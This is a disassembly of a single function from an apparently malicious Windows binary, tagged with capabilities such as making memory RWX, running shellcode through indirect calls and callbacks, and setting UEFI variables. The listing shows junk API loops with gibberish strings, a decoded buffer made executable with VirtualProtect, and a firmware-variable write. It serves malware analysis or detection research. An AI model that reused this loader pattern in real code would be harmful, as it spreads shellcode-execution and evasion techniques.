Function at 0x40b020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set current directory
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40e63b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x105c
call fcn.004097d0
mov eax, dword [0x45c030]
xor eax, esp
mov dword [esp + 0x1058], eax
push ebx
push esi
push edi
mov eax, dword [0x45c030]
xor eax, esp
push eax
lea eax, [esp + 0x1070]
mov dword fs:[0], eax
mov edx, dword [0x2c3c55c]
cmp edx, 0x7c
jne 0x40b0c3
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
lea edx, [esp + 0x68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x2c3c55c], 0x2d
jne 0x40b0b2
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push ebx
call fcn.0040137c
mov edx, dword [0x2c3c55c]
add esp, 4
jmp 0x40b0c5
xor ebx, ebx
mov ecx, dword [0x45dd74]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x1c3
jne 0x40b0e2
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40b0f6
mov dword [0x45ed10], edi
mov dword [0x45ed14], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40b0d5
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomW]
mov dword [0x2c3c55c], edx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x40b122
mov eax, dword [0x45cf58]
mov dword [0x2c3c560], eax
cmp edx, 0x3c
jne 0x40b134
push str.Besitoyeyof
call edi
mov edx, dword [0x2c3c55c]
inc esi
cmp esi, 0x5f6c74
jl 0x40b110
cmp edx, 0x110a
jne 0x40b210
push ebx
mov dword [0x2c3c428], ebx
mov dword [0x2c3c42c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push str.Hahi_bujo_xaxiwihufo_gudoj_tecova
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea eax, [esp + 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
call fcn.0040129c
add esp, 4
push ebx
call fcn.0040129c
add esp, 4
push 0x30
push 0x459e3c
push str._s__c
push 0x45ec88
call fcn.0040107f
push 4
call fcn.00401736
add esp, 0x14
cmp eax, ebx
je 0x40b1d6
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b1d8
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.0040120d
push ebx
call fcn.0040129c
add esp, 0xc
push 0x459e3c
push 0x45ec88
call fcn.0040107f
add esp, 8
push ebx
call fcn.00401683
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x2c3c55c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2c3c280], eax
cmp dword [0x2c3c55c], ebx
jbe 0x40b284
mov edi, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov edi, edi
mov eax, dword [0x2c3c560]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2c3c280]
mov byte [eax + esi], dl
cmp dword [0x2c3c55c], 0x5ab
jne 0x40b27b
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.Koyukajuromec_remavizajon_menurofehejes_tesabixedul_liticewocopola
call edi
inc esi
cmp esi, dword [0x2c3c55c]
jb 0x40b240
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2c3c55c]
mov eax, dword [0x2c3c280]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040af70
add dword [0x2c3c280], 0
mov ebx, dword [esp + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
push 0
lea ecx, [esp + 0x868]
push ecx
push 0
call edi
cmp esi, 0x1a01e
jle 0x40b2e2
cmp ebx, 0xf5bed7
jne 0x40b2eb
inc esi
cmp esi, 0x1ece7a52
jl 0x40b2c4
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x2c3c55c], 0xcc1
jne 0x40b320
push 0
push 0
push str.Mehop
push str.Wexi_wafezohagir_nejuremayebu_nudagociboj
call esi
cmp dword [0x2c3c55c], 0x7c4
mov dword [0x2c3c284], ebx
jne 0x40b334
call edi
sub dword [esp + 0x10], 1
jne 0x40b304
mov ecx, dword [esp + 0x1070]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1058]
xor ecx, esp
call fcn.00401070
mov esp, ebp
pop ebp
ret